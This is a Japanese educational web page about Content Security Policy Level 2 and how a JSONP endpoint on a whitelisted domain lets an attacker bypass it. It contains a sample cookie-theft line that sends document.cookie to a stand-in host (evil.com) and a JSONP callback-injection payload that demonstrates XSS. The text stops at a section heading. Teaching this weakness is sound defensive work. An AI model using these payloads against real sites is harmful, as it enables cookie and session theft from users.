🔓 CSP Level 2の脆弱性を体験しよう!

📚 CSPとは?

Content Security Policy (CSP) は、ブラウザに「どのスクリプトを実行していいか」を指示するセキュリティ機能です。

Webサーバーが特別なHTTPヘッダーを送信することで、悪意のあるスクリプトの実行を防ぎます。

🎯 CSPが解決する問題

CSPなし(危険)

  • すべてのスクリプトが実行される
  • 攻撃者のスクリプトも実行される
  • ユーザーの情報が盗まれる

CSPあり(安全)

  • 許可したスクリプトのみ実行
  • 攻撃者のスクリプトはブロック
  • ユーザーの情報を保護

⚙️ CSPの仕組み

// 1. サーバーがCSPヘッダーを送信 HTTP/1.1 200 OK Content-Security-Policy: script-src 'self' https://trusted.com // 2. ブラウザがルールを適用 ✅ <script src="/js/app.js"></script> // 自分のドメイン ✅ <script src="https://trusted.com/lib.js"></script> // 許可されたドメイン ❌ <script src="https://evil.com/hack.js"></script> // ブロック! ❌ <script>alert('inline')</script> // インラインもブロック!
現在のCSP設定(Level 2 - ホワイトリスト方式):
Content-Security-Policy: script-src 'self' https://trusted-analytics.com https://trusted-cdn.com;

正常なケース

信頼されたドメインからのスクリプトは問題なく実行されます。

// analytics.js の内容 function trackPageView() { console.log("ページビューを記録しました"); return { pageviews: 1234, users: 567 }; } // HTMLページ内のスクリプト <script src="https://trusted-analytics.com/analytics.js"></script> <script> const stats = trackPageView(); console.log("統計データ:", stats); </script>

⚠️ 攻撃の試み(通常は失敗)

信頼されていないドメインからのスクリプトはブロックされます。

<script src="https://evil-hacker.com/steal-data.js"></script> <script> // 攻撃者のコード(実行されない) document.cookie; fetch('https://evil.com/steal?data=' + document.cookie); </script>

🤔 JSONPとは?

JSONP (JSON with Padding) は、異なるドメイン間でデータをやり取りするための古い技術です。

なぜJSONPが必要だったのか?

同一オリジンポリシーにより、JavaScriptは他のドメインのAPIを直接呼べません:

// これはエラーになる(他のドメインだから) fetch('https://api.other-domain.com/data') // ❌ CORS error! // でもscriptタグなら他のドメインもOK! <script src="https://api.other-domain.com/jsonp"></script> // ✅ これは許可される
JSONPの仕組み
// 1. クライアント側:グローバル関数を用意 window.handleData = function(data) { console.log("受け取ったデータ:", data); } // 2. scriptタグでJSONPエンドポイントを呼ぶ <script src="https://api.example.com/jsonp?callback=handleData"></script> // 3. サーバーが返すレスポンス(JavaScriptコードとして): handleData({"users": 100, "status": "ok"}); // ↑callback名 ↑JSONデータ
⚠️ 問題点:callbackパラメータに任意の文字列を指定できてしまう!

💀 JSONPを使った攻撃(成功してしまう!)

信頼されたドメインにJSONPエンドポイントがある場合...

攻撃シナリオ:信頼された trusted-analytics.com には以下のようなJSONPエンドポイントが存在します:
https://trusted-analytics.com/api/jsonp?callback=[任意の関数名]

攻撃の流れ

Step 1
攻撃者がJSONPを発見
Step 2
callbackに悪意のあるコードを注入
Step 3
CSPは信頼されたドメインなので許可
Step 4
XSS攻撃成功!

JSONPバイパス攻撃の詳細

なぜCSP Level 2が破られるのか、順を追って見てみましょう。

前提条件:
  • CSPで trusted-analytics.com を信頼している
  • trusted-analytics.com にJSONPエンドポイントが存在する
  • callbackパラメータが十分にサニタイズされていない
// 1. 正常な使い方 https://trusted-analytics.com/api/jsonp?callback=processData // サーバーのレスポンス: processData({"analytics": "data"}); // 2. 攻撃者の悪用 https://trusted-analytics.com/api/jsonp?callback=console.log('XSS開始');document.cookie;// // サーバーのレスポンス: console.log('XSS開始');document.cookie;//({"analytics": "data"}); // 3. ブラウザでの実行 console.log('XSS開始'); // 実行される! document.cookie; // クッキーが読み取られる! //({"analytics": "data"}); // これはコメントとして無視される
サーバーが返すレスポンス:

📊 なぜこれが深刻な問題なの?